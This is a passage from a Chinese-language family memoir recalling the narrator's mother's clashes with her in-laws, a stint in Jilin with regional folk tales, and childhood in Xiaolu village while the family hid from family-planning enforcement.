天黑了,一个小媳妇,到哪里住宿呢。我妈妈看见庄头儿上,一个老大爷,手里拿着木锨,在收粮食。 我妈妈就走过去跟他打招呼:“大爷啊,恁忙的啊?” 大爷说:“是的,恁姐。” 我妈妈问:“大爷啊,恁家俺大娘在家吗?” “恁大娘在家,家里还有恁哥,也在家。”大爷说。 我妈妈说:“大爷,俺是跟俺丈夫惹气出来的。天晚了,俺没地方住了,能搁恁家住一宿吧?” “行!”大爷答应着。 我妈妈跟着老大爷到了他家。到了家,见到了老大娘,老大娘也是个热情的人,她让我妈妈跟她一起住下。 该到是我妈妈跟老大爷他们家有缘分,我妈妈在他们家一住就是十几天。慢慢地,我妈妈就把事情的经过如实告诉了老大爷。老大爷、老大娘待我妈妈如亲生闺女,老大爷的儿子对我妈妈也不孬。 后来,大爷说:“恁大姐啊,你住在俺家,我不嫌。可是说,你家里还有丈夫、孩子,你这样住下去不是办法”。 我妈妈说:“是的,大爷,我这样住着不是长久之计,我还是得回去”。 老大爷说:“这样吧,我让恁大哥到恁庄上,给恁丈夫捎个信儿,让他来接你。” 我妈妈说:“行!大爷!”我爸爸接到信儿,就来接我妈妈了。我爸爸推着洋车子来接我妈妈了,他见到我妈妈,不说话,沉着脸,照我妈妈的腚上踢了一脚。 我爷爷在住院。我还记得我爷爷的样子,他躺在病床上,张着嘴儿,吃我奶奶给他剥的橘子。他挨了我妈妈的镰刀,我奶奶跟我三叔一时间跟他紧密团结了起来,一致对外,要让我妈妈坐牢。 我奶奶抱着我,跟我三叔一起,去告我妈妈。我妈妈走在最前头,一点也不怕。 到了法庭上,法官问我奶奶:“你是她什么人啊?” 我奶奶说:“她是俺儿媳妇,俺是她老婆婆。” 人家问:“恁谁先说啊?” 我奶奶说:“我先说!” 她就掐头去尾地把我妈妈捅了我爷爷的事说了一遍:“我跟她老公公好好地坐在堂屋里,她进来,拿个刀子,照着她老公公的肋叉就捅。” 法官问我妈妈:“恁老婆婆说的对吧?” 我妈妈说:“俺娘说的不对,是这样的”。 我妈妈又把缘起来往,从头到尾再说一遍:“俺跟俺丈夫打算去东北,俺怀着三个月的身孕,因为怕路上遇到坏人,俺磨了把镰刀头子别在裤腰带里,准备路上防身的。俺怕俺去东北,俺老公公老婆婆忌恨俺,俺想去他家跟他说个明白。结果俺老公公见了我,二话不说,走到屋门外头,拿起靠在屋门外头的镢头,照着我拦腰就夯。俺文利二姐正好也在,是她拼死拼活给俺拉的架。文利二姐拉着架,让我快跑,俺老公公穷追不舍,举着镢头一边追,一边朝我身上砸。我的腰上、腿上到现在还有淤青。法官同志,恁如果不信,恁现在当庭就可以验伤。我退到俺老公公大门以外,还是逃脱不开,再被他打下去,俺母子两个性命难保。我这才从裤腰带里拔出来防身的镰刀头子,趁着俺老公公举起镢头准备来砸我的空儿,我这才冲着他的肋叉捅过去。俺公爹的血撒在大门外头。我说的句句属实,法官如果不信,恁可以去当场查验。” 法官问我奶奶:“她说的是事实吧?” 我奶奶说:“是的!” 法官说:“你看我怎么办?有年纪人儿?我把恁儿媳妇逮起来?” 我奶奶客客气气地说:“行!法官!恁看着办!” 法官说:“你说,我判她几年啊?我是判她三年五年啊,还是判她十年八年啊?” 我奶奶客客气气地说:“三年五年、十年八年都行。恁说了算。” 法官说:“现在休庭。” 休庭的时候,我妈妈拿出随身带的药,要吃药。法官看见了,问我妈妈:“小周,你想干什么的?” 我妈妈说:“法官同志,俺想吃药的。俺怀着身孕,又有贫血底子,俺怕胎儿有危险,俺让医生给俺开的保胎药。” 法官说:“小周,那边茶壶里有开水!你自己去倒!” 结果当然是我妈妈不用蹲法院。他们一行人一起去,又一起回来了。 我妈妈不用蹲法院,我爸爸又没有把我妈妈痛打一顿,我三叔跟我爷爷奶奶失望透顶。 一行人回到我爷爷奶奶家。一落地,我三叔上去几拳头把妈妈打地鼻子嘴里往外窜血。我妈妈脸上冒着血,伸手去我奶奶怀里抱我。 我看着害怕,挣扎着不肯叫我妈妈抱:“俺要跟俺奶奶!俺不跟你!俺要跟俺奶奶!” 我爸爸妈妈回到了自己家,在堂屋门口儿坐着。我爸爸靠着东边的门框坐,我妈妈靠着西边的门框坐。我三叔来到我家在大门外,端起鸟枪,朝着我爸爸妈妈射击。一击不中,三叔又把鸟枪朝着我爸爸砸过去,我爸爸转身躲过。我三叔捡起鸟枪,扣动扳机,又要去打我爸爸,我爸爸又转身躲过。我爸爸冲过去夺我三叔的枪,我三叔身量小,我爸爸个子高,才没被我三叔打坏。 后来,我爸爸妈妈一起去看望了之前收留她的老大爷一家。 这件事情是我妈妈讲给我听的,我那时才几岁,不太记事儿。但是我知道,我妈妈跟我爷爷奶奶吵架是常事儿。我也知道,我三叔跟我奶奶不喜欢我们。 2. 南乡有个小鲁村 第二章.去南乡 1.去东北 我大概是两三岁的时候跟着父母去了东北。我父母去的大概是吉林省敦化市。小时候,我爷爷给我起的名字叫吉林,后来又改成银省,后来又被叫成大省。东北野鸡多,野鸡翎子花花绿绿的很好看,我爸爸回山东的时候也带了几根,我爷爷抱着我的时候,还在我的棉帽上插过两支野鸡翎子。 贫苦人家去一趟东北注定是艰难的行程。火车票难买,我们打的站票。印象中很多人一起,人挤人人挨人地站着。我爸爸驮着我,我妈妈背着行李。我爸爸旁边的一个妇女驮着一个小男孩,他手里拿着一个绿色的梨。我手里拿着火烧。我盯着小男孩手里的梨看。那个妇女跟她背上的小男孩儿说:“把你手里的梨给小姑娘吃,行吧?”没等大人同意,我一把抢过了小男孩儿手里的梨,小男孩一把抢过了我手里的火烧。难得有座儿的时候,我们就坐下来,吃妈妈从山东带的西瓜子。路上饥渴难耐,有一次火车靠站,我爸爸走下车门,看到一个洗衣服的大姐,他端起那个大姐的洗脸盆子里的水,“咕咚咕咚”就朝肚子里灌下去。 我们坐在火车上,忽而听到大人说:“到山海关了,到山海关了!”我抬头往车窗外头看,外头是苍翠的大山,我看不见哪里有什么关。我妈妈说:“出了关就是关外了。咱山东属于关里。” 我知道东北不仅有嘉峪关,还有黑龙江,黑龙江里有秃尾巴老李儿。秃尾巴老李儿是一条黑龙。据说黑龙江的命名就是由此而来。妈妈给我讲过秃尾巴老李的故事。说是山东一对姓李的人家,妻子生孩子时,生下了一条黑龙。黑龙一出生就窜到了房梁上,母亲被惊吓而死。父亲拿起镰刀就去砍杀黑龙。黑龙绕梁逃走,仓皇中被父亲砍掉了尾巴。黑龙因为生在李家,又没有尾巴,所以就被叫作“秃尾巴老李儿”。黑龙很有孝心,它知道母亲因它而死,便呼风唤雨为母亲聚起坟茔,盘踞在母亲坟头整整七日,方才离去。黑龙在江中守护过江乡亲们的安全。 这一日,江里又来了一条白龙,它与黑龙争夺地盘,二龙即将展开大战。黑龙托梦给一位员外,让他率领乡亲们准备好窝头和石灰包。在黑龙和白龙决战时,如果江里“轰隆”冒上来一股白水,证明白龙要吃东西补充体力,乡亲们就赶紧往江里扔石灰包,打击白龙。如果江里“轰隆”冒起一股黑水,说明黑龙要补充体力了,乡亲们就赶紧往江中扔窝头。就这样,乡亲们帮助黑龙赢得了大江的主权,此江由此叫做“黑龙江”。乡亲们过江时,只要朝江中高喊“山东人士!山东人士!”过往的船只保准平安无事。 姓宋的很多本家早早就去东北逃荒了,我们就是投奔他们去的。老家人帮我爸爸找了一份刨参土的活儿,我们一家三口住在山上的一个小屋里。我爸爸刨参土,天气好的时候,妈妈也带上我跟着。榛子林里有青青的榛子,妈妈去枝头上采来青枝绿叶的榛子,用石头砸开,剥给我吃。妈妈说,人参得用红绳儿绑上,不绑上的话,它会跑的。人参的花朵也是红色的。妈妈找来一根玫红色的毛线绑着。那玫红色的毛线绑着的人参花,一粒粒,红彤彤的,我在梦里都想得到它。 我妈妈说,好的人参是无价之宝。一个男的在外地做买卖的时候,得了一棵老人参,被客店的店家看上了。店家跟他商量,想出钱买他的人参,让他出个价儿。这个男的一时不知道该出多少钱,就躺在他的床上翻来覆去地想。他在他的床上滚过来,翻过去,翻滚了半天,还是想不出该出个什么价儿。这时,店家发话了:“唉,行了,差不多啦。你滚了十八番,我给你十八躺黄金。你看行了吧!”十八躺黄金就是在这个男的刚才躺的地方,铺上十八层黄金。这男的一想,可以了,够多了。他也就同意了。店家把黄金给了他,把那参拿走了。那个男的趁店家不注意,悄悄地又把那棵参拿了回来,用刀子在自己的大腿上划了道口子,把那棵参藏了进去。那参果然是棵宝参,接触了人的血肉以后,竟然让那伤口自己愈合了。那人收好自己从店家那里得来的十八躺黄金,连夜逃之夭夭,奔赴自己的家乡去也。所以说,财宝不能露面,小心被人惦记。 东北的蚊子是大花蚊子,又叫“小咬”,比南方的蚊子咬人厉害。我妈妈说,一个人要是在晚上,在外头待一夜,会被蚊子活活地咬死的。有一个男的,跟人说,他能在外头待一夜。人家不信,就跟他打赌,他如果真地能在外头待一夜,人家就给他多少多少钱。这个男的答应了。人家就把他栓在一棵树上。夜里,来了好多蚊子啊,把他密密麻麻地围住。蚊子喝饱了血,就趴在他身上不动了。他再熬熬,到了天亮,也就赢了。谁知道这个男人的老婆夜里出来上茅房,看到她丈夫被蚊子咬地可怜,就帮他把他身上的那层蚊子打走了。这下可好,刚才喝饱了血的蚊子走了,又来了一批蚊子来咬他。这个男人最后活活地被蚊子给咬死了。 我妈妈还说,有一个女的,嫁给了她的丈夫以后,她的丈夫做了大官。她的丈夫跟她说,你看,你都是沾了我的福气吧。要不然,你哪能当上官太太啊。这个女的说,不是的,是你沾了我的光。我能旺夫。她的丈夫不相信。她就跟她的丈夫说,你要是不信,咱俩就试试,咱俩离婚,你看看,没有我,你还能不能当官。那个男人就跟他老婆离了婚。女人的丈夫动了坏心思,他故意把离了婚的女人嫁给了一个伙夫,让她永世不得抬头。有一天,有一个紧急情报要送。伙夫骑着马去送情报。他在路上饿了,就生火造饭,等他吃完了饭,就把造饭的罐子挂在马肚子上,继续赶路。那马被热罐子烫得生疼,果然快步如飞,伙夫很快就把情报送到了。伙夫因为战功,当了大官,比女人前夫的官还要大。女人又当上了官太太。而女人的前夫也因为干坏事很快就落马了。 我们的小屋在一个山坡上,独门独户,是人家看山的小屋。旁边的地里种了很多北瓜。这种北瓜只有在东北的时候我才听说过它。我在这儿没见过什么邻居,只见过一个男人,他高高的瘦瘦的,头发蓬蓬的,脸上胡子拉碴。他经常披着件大衣,提着杆鸟枪,满山转悠满地里闯荡。 有一天,他提着枪气冲冲地到了我们家,非说我们摘了他的北瓜。“我的北瓜少了!我昨天才查的,昨天有八个,今天只剩下七个了!是不是你偷的?”他像个野人一样站在我家小屋门前,我看着他,很是害怕。我妈妈从地上提起我家的北瓜,笑嘻嘻地跟他说:“俺没摘你的北瓜。你看看,俺家的北瓜都是俺大娘给的,都好几天了,梗子都老了。你的北瓜是人家才摘的,那梗子还是鲜的吗?”那个野人听了,觉得我妈妈言之有理,才提着鸟枪愤愤地离去。 在东北吃的什么,我都忘记了。只记得有一天,二叔从敦化来了,带来了一篮子红红的沙果。还有一天,我跟着大人,不知道到了谁家里,一群人围坐在一起,吃糯米、玉米、豇豆做的裹着紫苏叶子的“粘耗子”。 我最常去的地方是大刚奶奶家。大奶奶的孙子大刚很是调皮,成天爬树掏家雀儿。他爬到树上,朝树上的家雀扔石头,茅房里蹲着他奶奶,他奶奶知道他又上树了,冲着他就是几声叫骂。 东北有很多向日葵,一大片一大片的。我妈妈跟向日葵叫“迎之葵”。人家种的向日葵收割了,我妈妈去地里捡了人家落下的,炒熟了,留着冬天没事儿的时候,坐在被窝里头嗑。东北的瓜子不叫瓜子,叫“毛嗑儿”。天冷了,父母起来做早饭,我围着被子坐在炕上嗑瓜子。我妈妈给我一个纸盒子,我嗑下来的瓜子皮,吐在纸盒子里。等我起床吃饭的时候,爸妈把我的棉裤拿到火盆上头烘一烘,我就可以穿上热乎乎的棉裤了。 2.南乡有个小鲁村 我爷爷一封家书从中作梗,我爸爸妈妈没办法在东北继续营生,又从东北回到了山东。那时候,我妈妈没几个月就要生孩子了。山东计划生育严格,不宜久留,我爸爸妈妈决定继续出逃,去外地“躲计划”。 我爸爸提议去我大姑家。 我妈妈说:“家军,我去过恁大姐家,恁大姐的老婆婆倒是通情达理的一个人。我跟她处得跟亲娘俩儿一样。恁大姐这个人,怕是不能容纳咱们。再说了,我跟恁娘不和,跟恁大姐也怕是处不好。” 我爸爸满怀信心地说:“没事儿!俺姐能行!” 我妈妈说:“恁姐能留咱吗?你能打包票吗?别到了那里,她再不行。咱还得再回来。” 我爸爸说:“没事儿!我能打包票!” 于是我爸爸拉着板车,板车上,我妈妈抱着我。我们一家三口儿就去了我大姑家。到了我大姑家门口儿,我大姑就坐在她家天井里。我爸爸走到我大姑跟前儿,喊了一声:“大姐!”我妈妈也抱着我从板车上下来,喊了一声儿“大姐!”我大姑耷拉着脸、愁眉不展。半天,才从嗓子眼儿里慢悠悠地冒出来一句:“嗯,恁来干嘛的?” 我妈妈一看我大姑家里不行,就跟我爸爸商量,不能在我大姑家,得另外找地方。去哪里呢?因为大姨的关系,我们一家三口投奔了南乡小鲁村的梁奶奶家。在他们的帮助下,我们被安顿在老杜奶奶家里,住在她家南大门西边的小屋里。从此,我们一家开始了在小鲁村的生活。小鲁村的人提起我们,就说是“躲计划的”。因为梁奶奶管我妈妈叫“三姐”,小鲁村的人也管我妈妈叫“三姐”。 我妈妈为了躲计划生育一直在南乡的小鲁村居住,我爸爸还要回山东种地,不是农忙的时候就来南乡看望我妈妈。我呢,从此开始跟着我爸爸两地奔波、两处为家。 一间小小的茅草屋,挤下了我们一家三口。靠近西山墙是一张床。床下左手边就是饭桌。此外,我再也记不起来还有什么家具。一些零碎八务的东西就装在袋子里,挂在墙上的墙橛子上。我爸爸带着我在南乡跟山东之间来来往往。 八月十五的时候,我爸爸给我妈妈买了一块肉。我妈妈把那块肉煮熟了,吊在梁头上。每次吃饭的时候,妈妈就切下一块肉,放在我盛着糊糊的碗里。我就着糊糊吃肉,她啃她自己的煎饼。有一次吃饭,她把这事儿给忘记了,我就看着自己的碗,再看看她。她看看我的眼神儿,突然想起来,她还没有给我切肉,就赶紧去切。等她给我切下一块肉,放在我的碗里以后,我开始喝糊糊,吃肉,她继续吃她的煎饼。那块肉,她自己一口也舍不得吃,直到长出了绿毛,还在梁头身上吊着,留着给我吃。那种长了毛的熟肉,放在糊糊碗里,有一种特殊的味道,很好吃。然而那样吃肉的时光也是很少的,我记忆中只有那一快肉。八月十五的时候,我爸爸买来的月饼,我妈妈照例还是留着给我吃的。那几块月饼照例还是留到了长了毛、生了虫儿,可是,每次,我妈妈拿给我吃的时候,我还是吃得很香。在孩子的眼里,即使是长了毛的月饼,也比那些糊糊、煎饼好吃。 我吃这些好吃的时候,我妈妈就坐在我对面,吃她的煎饼,喝她碗里的糊糊。她吃地很坚定,也很认真。我看不到她眼里对我还有其他额外的关心。我小时候,理解不了我妈妈的眼神。她的眼神大多数时候是坚定的,是冷峻的。是没有多少传说中该有的慈母的温柔和慈悲的。 直到我痴长到四十岁,直到我自己吃了很多苦,等到我对我的孩子有了一样的眼神儿,我才知道那眼神儿里头的意味儿。那是为了自己的孩儿不挨饿受冻,宁肯受尽耻笑,也要笑呵呵地抄起要饭棍子,挨门傍户地讨饭吃的朱洪武的娘亲的眼神儿。那是准备只身夜闯瑶池,去为自己的官人盗取灵芝仙草的白娘子的眼神儿。那是准备水漫金山,与法海老贼决一死战的白素贞的眼神儿。那是时刻准备冲破大山,去与自己的孩儿相见的三圣母的眼神儿。 梁家三爷爷、三奶奶对我们很好。我经常跟着爸爸妈妈去他们家玩。他家有一个儿子跟我爸妈差不多大,一个孙子,跟我差不多大。我爸妈带我去他们家,他们吃什么都会给我吃。有一次,我刚吃完饭,我爸爸带着我去梁三奶奶家,梁三爷爷跟梁三奶奶还在吃饭。我爸爸带着我坐在他们桌子的西南角上,跟他们说话。梁奶奶给我一个菜包子,我伸手就去接。我爸爸立刻训斥我说:“刚吃完饭,又吃!眼馋肚里饱!菜包子!” 梁三奶奶笑呵呵地跟我爸爸说:“小孩儿嘛!” 快到晌午了,梁三奶奶做了大米饭。我跟爸爸临走的时候,梁三奶奶给我们盛了满满一大碗大米饭,让我爸爸端回家。我爸爸笑呵呵地端着那碗热乎乎的白白的大米饭,带着我往家走。出了梁三奶奶家,是一条三叉路口儿,路边是人家的篱笆,都用灰黑的枝条围着,那些枝条很高,比我爸爸还要高。我爸爸看看我,停了下来。他走到南边的篱笆旁,掐下两根灰色的枯树枝。他蹲下身来,面朝西蹲着,用那枝条挑起香喷喷的米饭,给我吃。 我们住在老杜奶奶家。老杜奶奶家的老杜爷爷穿着件白背心,他头发花白,眼睛很大,他只有一只手,不太能干活,他的另一只手,据说是年轻的时候因为放炮被炸没了。老杜奶奶的大儿子叫联合,在外地工作,联合的老婆叫葛梅。 葛梅的新房就在我们小屋正南方。娶葛梅的那天,我跟一群小孩子在天井里等着,要看闹新媳妇。葛梅来了,新媳妇到了。鞭炮放起来,鞭炮炸碎的红纸落了一地,闹喜的小青年拿着那些粉色的捆嫁妆的麻绳子,要把新娘子和新郎官儿捆到一起。大人小孩儿,顶着红纸和火药味儿一起往新房里头挤。终于挤进去了。门外头,外庄上一个来喝喜酒的老太太牵着她手里的孩子在骂谁。骂人家光顾着往里挤,把她的孙子给撞倒了,跌破了头,擦破了皮。那孩子顶着一鼻子灰,头上破了皮,在那里自顾自地哭泣,那老太太自顾自地在那里骂着。人太多,谁也不知道是谁挤的。众人忙着看新媳妇,谁也管不了谁去。大伙儿都到了新房里,新房里,是好闻的刷了红漆的新鲜家具的味道。那个时候,人们还不知道有什么甲醛乙醛的,只知道这新的家具就是新鲜、欢喜。 听说葛梅从小没有爹娘,是她奶奶养大的。老杜奶奶不太喜欢她,老是找她的茬。葛梅怀孕过好几回,都流产了。老杜奶奶二儿子叫运动,是个瘸子,个子很高,胖地流油,不怎么说话。最小的那个,老杜奶奶就叫他“小三儿”。 有一回,我妈妈带着我在地里拾庄稼,快回家的时候,“小三儿”骑着自行车路过,他看我小,走不动太多路,就主动跟我妈妈说:“三姐,你背着东西多沉,我帮你把大省带回家吧。”我其实跟“小三儿”不熟,我其实是想跟我妈妈一起走回去的。可是我妈妈感念“小三儿”的好意,又嫌我跟着她走回家太累了,她就笑着跟我说:“你先跟恁三叔回家吧,妈妈后头就到。谢谢三兄弟啦!”“小三儿”带着我往家赶。小路的西边,站着一个他认识的小青年儿。“小三儿”要下车跟他说话。他左腿踏着脚蹬子,右腿一扬,从我头上迈了过去。“小三儿”跟那个他认识的人相视一笑。我还坐在他的后座儿上。 老杜奶奶还有一个闺女,经常来看她。一大早,我刚起床,就去了老杜奶奶家里,坐在小板凳上,面向西,看着她们娘儿两个一起吃饭。她们面向东坐着,端起碗吃饭。她们拿筷子夹起一瓣子醋蒜,放在盛玉米糊糊的碗里,“呼啦”喝一口糊糊,把那瓣醋蒜咬掉一半,另一半顺势掉到碗里。然后“呼啦”再喝一口糊糊,把剩下的一半醋蒜吃完。我在一旁看得仔细,她们娘儿两个节奏一致,一样地喝玉米糊糊,一样地吃醋蒜,她们吃得那么有板有眼。 她们喝糊糊,吃煎饼。老杜奶奶的煎饼不像山东的煎饼,山东的煎饼掺了山芋干子,发黑,发甜,没什么筋道,倒是显得很松,好咬。南乡人的煎饼是麦煎饼,发白,比山芋干子煎饼筋道,咬起来有些费劲。南乡人吃煎饼,就盐豆子。 “呱啦卷儿,门上槛儿。老雀要吃煎饼卷儿。煎饼卷儿,卷盐豆儿,老雀吃不够。”老杜奶奶常说这句话。南乡人也都知道这句话。我知道这句话,也会说这句话,但是我总觉得那“老雀”说的就是我们。所以,每当老杜奶奶说这句话的时候,我心里就不太舒坦,所以我从来不说这句话。也是这句话,让我觉得,这盐豆子离我很远,这南乡的纯小麦的煎饼卷儿离我很远。 葛梅家的新房坐落在我家小屋的正南方。葛梅家西头的石灰地板上,不知道是谁家晒的盐豆子。一笸箩、一笸箩的,红艳艳的盐豆子,里面是黄黄的煮熟了的咸咸的黄豆粒,外面裹着潮潮的、红红的辣椒面儿。那红红的辣椒的裹衣在太阳的照晒下,也不再那么辣、那么怕人了。很多盐豆子粘在一起,成了一块一块的。那笸箩不知道是谁家的,反正那么多,那么咸,也没有人看管。我跟几个小孩子,拿起一块盐豆子,放到嘴里,尝尝人家的鲜盐豆子。那盐豆子咸咸、甜甜,干干,是太阳的味道。 盐豆子很好吃,盐豆子卷煎饼也很好吃,但它终究不是山东的味道,不是家乡的味道。这白白的纯小麦的煎饼,像是一卷白纸,无色无味。在这红艳艳的盐豆子,和白白的纸一样的小麦煎饼面前,我就是一只外乡来的夹着尾巴的“老雀”。 我们小屋的右前方是老杜奶奶的小叔子家。我叫他“二老”,就是二爷爷的意思。他家里养着一头驴。他们家的人很温和。他有两个姑娘,大朵、二朵。有一次,我看见一个要饭的男人,带着一只小猴子,在他家门口等着,二老转身儿去屋里拿煎饼去了,他家里从屋门口到大门口,扯着一条晾衣裳的钢丝绳。那只小猴子“出溜”一下就爬到了他家晾衣绳上,顺着晾衣绳“出溜”一下,从他家大门口儿爬到他家屋门旁。 大朵、二朵家的驴,就拴在离我家门前不远的土台子上。天气好的时候,妈妈就找来几个板凳来这里坐着,我们把脑袋放在她的膝盖上,她用火柴棒帮我们掏耳朵。 我自己有时候也来这里转悠。一个有点微凉的早上,我穿着一件紫色带白花的有点破了的外褂儿站在这里。几个不认识的小男孩儿在东边玩。我很想看他们玩,又怕他们笑话我。过了一会儿,他们果然开始笑话我了。“花子!”他们说。 不是所有的人都会嘲笑我。一天,我站在大街上的黄土台子上玩。人家一家子开着小汽车来探亲。从车里走出来一个男孩子,他冲着我们一群小孩撒糖。小孩子都去抢,就我没抢到。他看了我一眼,冲着我的方向扔了几颗糖。我赶紧去捡。那是一颗黄褐色的糖。很像是后来我看到的太妃糖。 土台子上经常坐着几个小老头儿。我还记得的有严标爷爷,严和爷爷。严标爷爷好像没了老伴儿,吃穿赶不上严和爷爷。严标爷爷俨然是生了病,穿着件发白的淡绿色夹克衫,蹲在地上,病秧秧的,苍白的头发卷曲着,眼睛红红的,眼珠子突出来,时而剧烈地咳嗽两声儿。严和爷爷有严和奶奶伺候,穿得干净一些。他戴着一顶蓝色的帽子,背靠着他家的黄土院墙,坐在一把小椅子上,因为生病而变得消瘦的大腿翘在二腿儿上,抬着头跟严标他们说话。严和爷爷的背后是他家的两扇大门。门里是严和奶奶,她穿着蓝色的带大襟的褂子,端着饭碗给她的小孙女蕊蕊喂饭。 大街上,不知道谁家的唱片机里放着歌儿:“正月里正月正,年轻的朋友做事情。做错了事情要法办我的哥们儿呀,做错了事情上法庭了哎嗨哟。” “手里捧着窝窝头儿,眼泪止不住地往下流。监狱的生活是多么痛苦啊,一顿一个窝窝头儿。” 我经常跟蕊蕊一起玩。蕊蕊又聪明,又调皮。我跟她一起玩,被她骂一句、打两下是常有的事。有一次,蕊蕊去我家里玩,我爸爸切了西瓜,让我们吃。我跟蕊蕊一起捧着西瓜啃。我们都吃得很快,仿佛是在吃西瓜比赛。我的父母就在旁边站着看。蕊蕊吃完一块,我爸爸笑嘻嘻地让她再拿一块。蕊蕊吃完第二块,又去拿第三块。我眼睁睁地看着蕊蕊比我吃地快,抢得比我快。可是,我就是吃不过蕊蕊。 吃完西瓜,我爸爸拿来铁锨,去铲地上的西瓜皮。蕊蕊看见了,就要和我一起玩铁锨。她让我站到铁锨头上,她推着铁锨把儿转圈圈。她转了几圈,猛地把铁锨把一撩,“当啷”一下,铁锨把儿打在我的鼻子上,把我的鼻子打得鲜血直冒。我妈妈赶紧端来水盆子,给我洗鼻子。 等蕊蕊走了,我妈妈就开始数落我了。“大省真没用。吃西瓜都抢不过蕊蕊!不让你跟蕊蕊一块儿玩,你非跟她一块儿玩!以后别跟蕊蕊一块儿玩了!以后还是跟冬歌一块儿玩儿!冬歌不扼你!” 又能好好跟我一起玩,又不会让我太吃亏的是冬歌。冬歌经常来找我们一起玩。她在我家院子里经常一呆就是半天。 冬歌上面还有个姐姐,有十几岁了,长成大姑娘了。冬歌的姐姐经常板着脸,白皙的面容上冷冷的,不怎么说话,彷佛人家都知道她家的心事似的。冬歌的妈妈,我跟她叫大奶奶。她那时候也就四十来岁。白白胖胖的,经常笑眯眯的。我妈妈跟我说,冬歌的妈妈得了“花迷”,经常犯病。她犯病的时候,就在大街上脱光裤子,朝着人家喊:“来来来!来来来!”大街上的小孩儿也跟着起哄:“恁都来看,都来望啊!冬歌的妈妈犯病了!”听说冬歌的妈妈年轻的时候,跟下乡的一个大学生谈起了恋爱。后来,那个大学生不要她了。她就得了“花迷”。得了“花迷”的姑娘,不好嫁出去,就嫁给了冬歌她爸爸。 有一回,我的脖子上、脸上,起了一堆小疙瘩。我妈妈看了看说:“这是你不知道钻到哪里,碰了蛾了网了。我带你去找人吹吹。”我妈妈带着我去了老杜奶奶家后头的一个大奶奶家。 我跟着我妈妈走在巷子里的时候,我妈妈跟我说:“恁大奶奶家里有‘老师’,你可不要胡说哈!”大奶奶家里正北的墙上供奉着神仙的画像,旁边还贴着一张毛笔写地大大的“寿”字。我知道大奶奶的家里有“老师”,我朝着那些画像和寿字看着,希望能从这些老旧的物件儿里看出来一点“老师”的蛛丝马迹。可是,“老师”在哪里,我的肉眼是看不到的。我心里想着,说不定,那张画像前头就正襟危坐着大奶奶的“老师”呢。 我妈妈跟大奶奶说:“大婶子啊,大省不知道搁哪儿碰了蛾了网了,麻烦你给她吹吹。”那个大奶奶就让我跪在她家条几下头,她朝着她供奉着神仙画像的正北的墙上打躬作揖,念念叨叨地说了几句话,就让我妈妈把我领回去。我妈妈谢了大奶奶,就领着我走了。 我说:“俺大奶奶真厉害,还有一个‘老师’,我要是也有一个‘老师’就好了。” 我妈妈说:“有‘老师’有什么好?那些能给人看病的神婆子都是自己得了神经病,等她好了,才能给人看病的。她们自己容易被妖魔鬼怪缠身。恁大姨的老师也是经常缠她。她要是不听她老师的话,她老师就缠她,缠得她吃药。” 后来,我脸上的小疙瘩果然慢慢地没有了。 我爸爸是个不善言辞的老实人,他一向很温和。有一回,他半躺在床上歇息,两条腿伸得长长的拖在地上。我妈妈坐在床沿儿上。我站在我妈妈的跟前儿玩。我妈妈笑着指着我爸爸的□□,跟我说:“这里有大萝卜!过来拔萝卜!”我其实很怕我爸爸,可是禁不住我妈妈的撺掇,我就仗着我妈妈给我的胆子,冲着我爸爸的□□走去。我还没来得及拔萝卜呢,我爸爸就一下子弹起身,他沉着脸,怒气冲冲地把我拎起来,一把把我“竖”到院子里。我爸爸怒气冲冲地回到屋里,剩下我不知所措地站在院子里,不敢动,也不敢回去。我妈妈还是一个劲儿地在那笑,一时间,就我独自站在门外头。 我妈妈笑完跟我爸爸说:“你可别打她。她还是小孩儿。家鸡打得团团转,野鸡不打漫天飞。” 那时候,我就站在天井里,我仿佛真的看见了地上的家鸡,和天上的野鸡。 妈妈跟我说:“以后大人要是打你,你得跑。大人打你的时候都在气头上,你跑了就躲过去了。你要是不跑,大人更生气,你就挨着了。大人气头上打完你,等消气了,也后悔了。” 我的衣服当然都是人家送给我妈妈的。我记得,人家送我一件绿色的花裙子,那是唱戏的戏服改做的。纱布底子上是绒绒的绿色、棕色、灰色的小花朵。我很是喜欢,常穿着它到大街上玩。那时候很多人出门儿靠骑洋车子。小孩儿的嘴里有句顺口溜儿:“骑洋车子戴手表,额了盖上长个雕!”我看见一个骑洋车子的人从我身边飞驰而过,就心血来潮,追着他的洋车子,在后面奔跑,直追到我家前头的陡坡下头,看着那个骑洋车子的人远远地离开了,我才回家。人家看见我追人家的洋车子,赶紧跟我妈妈说:“恁家大省追人家洋车子了”。 庄稼收成的季节,我妈妈背着粪箕子去拾庄稼。我跟着她。人家送我一件小褂子,是淡黄色的,颜色像薄薄的玉米皮的颜色。砍倒了的玉米一棵一棵地倒在地上,我妈妈背着粪箕子踩在那些倒了的玉米秸上,慢慢地往前挪。要是脚底下踩到圆滚滚的,硬硬的东西,那就是一穗玉米了。这时候,我妈妈就弯腰把那穗玉米掰下来,扔到自己的粪箕子里。 我那时候还小,不会拾玉米,就在地头上玩。我玩着玩着,就枕着玉米秸睡着了。等我妈妈把我叫醒以后,我就跟着妈妈回家了。 我走在我妈妈身后头,我妈妈边走边跟我说:“不能在地上睡觉,草稞子里头有蚰蜒,趁着你睡着了,会钻到耳朵里头的。地上潮,你睡着了,不知道怎么回事儿了,那些湿气就浸到身体里头了,会得半身不遂。” 到了家,妈妈问我小褂子放到哪里去了,我说不出来。我妈妈就对我好一阵数落。我使劲儿想,还是什么也想不起来。我的小褂子到底放在哪里了呢?我到家吃完午饭又要睡觉了。我在睡梦里还在想着我的小褂子。我是多么希望在梦里能够梦见它在哪,或是一觉醒来,它好端端的就在那儿啊。 等我醒来以后,我妈妈还是追问我那件小褂子的下落。她让我自己再去地里找找去。那块地离我家应该不是很远,也不是很近。我就自己跑到庄前头,走过两旁都是金黄色的玉米秸的东西小路,来到我妈妈先前捡玉米的那块地里。地里,满是金黄的玉米杆子,和淡黄色的玉米皮,还有棕褐色的玉米须。我跟做梦似的,带着满脑子的幻想,翻着那些被砍倒的玉米秸,找了好半天,终于把我的小褂子给找到了。 小鲁村的人对我妈妈很友好,我妈妈的手脚也干净,做人也正直本分。她在小鲁村拾庄稼,没有任何人怀疑她,大家对她都很好。小鲁村的人,跟我们处得很亲近,比荆堂的人对我们还要好。所以,我妈妈总是很怀念小鲁村,提起“小鲁村”,我就想到了那些对我们友好、善良的爷爷、奶奶,叔叔婶子,大爷大娘们。 3.妈妈的唱儿 我妈妈做针线活,我就在她身边自己玩儿。 我说:“妈,我困了。你唱个唱儿给我听吧。” “行!”我妈妈说, “我唱‘小蚕(探)妹儿’哈。” 